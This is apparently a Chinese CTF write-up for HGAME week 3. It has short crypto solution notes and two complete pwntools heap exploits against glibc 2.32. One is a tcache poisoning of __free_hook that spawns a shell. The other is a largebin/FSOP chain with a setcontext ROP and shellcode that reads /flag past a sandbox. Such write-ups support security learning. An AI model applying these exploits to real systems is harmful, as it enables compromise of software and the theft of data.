Crypto

ezBlock

直接爆破密钥

ezDH

p-1光滑，解离散对数正常解密

RSA 大冒险2

已知p高位的coppersmith，界卡的比较紧，epsilon取0.02，爆破八比特开四个进程大概十来分钟

Pwn

safe_note

2.32 safe unlink

```
from pwn import *

p = remote('week-3.hgame.lwsec.cn',32573)
#p = process("./vuln")
libc = ELF("./2.32-0ubuntu3.2_amd64/libc-2.32.so")

se = lambda data :p.send(data)
sea = lambda delim,data :p.sendafter(delim,data)
sl = lambda data :p.sendline(data)
```

```python
sla = lambda delim,data :p.sendlineafter(delim,data)
ru = lambda delims,drop=True :p.recvuntil(delims,drop)
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
lg = lambda name,addr :log.success(name+'='+hex(addr))

def cmd(i):
    sla(">",str(i))

def add(idx,size):
    cmd(1)
    sla("Index: ",str(idx))
    sla("Size: ",str(size))

def dele(idx):
    cmd(2)
    sla("Index: ",str(idx))

def edit(idx,cont):
    cmd(3)
    sla("Index: ",str(idx))
    sea("Content: ",cont)

def show(idx):
    cmd(4)
    sla("Index: ",str(idx))


for i in range(9):
    add(i,0x80)

dele(0)
show(0)
heap_base = uu64(ru("\n"))
lg("heap_base",heap_base)
```

```
for i in range(1,8):
    dele(i)

edit(7,b'\x01')
show(7)
libcbase = uu64(ru("\n"))-0x1e3c01
lg("libcbase",libcbase)
free_hook = libcbase+libc.sym['__free_hook']
system = libcbase+libc.sym['system']

edit(6,p64(free_hook^heap_base))
add(9,0x80)
add(10,0x80)
edit(9,b'/bin/sh\x00')
edit(10,p64(system))
dele(9)
#gdb.attach(p)

p.interactive()
```

large_note&note_context

就多了个沙盒，先做的开沙盒的，脚本一样

cat的链子，FSOP触发

```
from pwn import *
context(arch="amd64")

p = remote('week-3.hgame.lwsec.cn',30196)
#p = process("./vuln")
libc = ELF("./2.32-0ubuntu3.2_amd64/libc-2.32.so")

se = lambda data :p.send(data)
sea = lambda delim,data :p.sendafter(delim,data)
```

```
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim,data)
ru = lambda delims,drop=True :p.recvuntil(delims,drop)
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
lg = lambda name,addr :log.success(name+'='+hex(addr))


def cmd(i):
    sla(">",str(i))

def add(idx,size):
    cmd(1)
    sla("Index: ",str(idx))
    sla("Size: ",str(size))

def dele(idx):
    cmd(2)
    sla("Index: ",str(idx))

def edit(idx,cont):
    cmd(3)
    sla("Index: ",str(idx))
    sea("Content: ",cont)

def show(idx):
    cmd(4)
    sla("Index: ",str(idx))

add(0,0x520)
add(1,0x510)
add(2,0x510)
dele(0)
edit(0,b'\x01')
show(0)
libcbase = uu64(ru("\n"))-0x1e3c01
```

```
lg("libcbase",libcbase)
IO_list = libcbase+0x1e45c0
wfile_jumps = libcbase+0x1e4f80
lg("wfile_jumps",wfile_jumps)
setcontext = libcbase+0x5306D
pop_rdi = libcbase+0x2858f
pop_rdx_r12 = libcbase+0x114161
pop_rsi = libcbase+0x2ac3f
ret = libcbase+0x26699
mprotect = libcbase+libc.sym['mprotect']

edit(0,b'\x00')
add(3,0x540)
edit(0,b'a'*0x10)
show(0)
ru(b'a'*0x10)
heap_addr = uu64(ru("\n"))
lg("heap_addr",heap_addr)

edit(0,p64(libcbase+0x1e4030)*2+p64(0)+p64(IO_list-0x20))
#gdb.attach(p)
dele(2)
add(4,0x540)

orw = p64(pop_rdi)+p64((heap_addr>>12)
<<12)+p64(pop_rsi)+p64(0x1000)+p64(pop_rdx_r12)+p64(0x7)+
p64(0)+p64(mprotect)+p64(heap_addr+0x68)
orw+=asm(shellcraft.openat(0,'/flag')+shellcraft.read(3,h
eap_addr+0x1000,0x100)+shellcraft.write(1,heap_addr+0x100
0,0x100))
payload = p64(heap_addr+0x20)+p64(ret)+orw
edit(0,payload)

fake_io_addr = heap_addr+0xa50
lg("fake_io_addr",fake_io_addr)
```

```
fake_io = p64(0)*8
fake_io += p64(1)+p64(2)
fake_io += p64(heap_addr-0xa0+0x10)
fake_io += p64(setcontext)
fake_io += pack(-1)
fake_io += p64(0)
fake_io = fake_io.ljust(0x88,b'\x00')
fake_io += p64(heap_addr-0x200)
fake_io = fake_io.ljust(0xa0,b'\x00')
fake_io += p64(fake_io_addr+0x30)
fake_io = fake_io.ljust(0xc0,b'\x00')
fake_io += p64(1)
fake_io = fake_io.ljust(0xd8,b'\x00')
fake_io += p64(wfile_jumps+0x30)
fake_io += p64(0)*6
fake_io += p64(fake_io_addr+0x40)
edit(2,fake_io[0x10:])

#gdb.attach(p)
cmd(5)
p.interactive()
```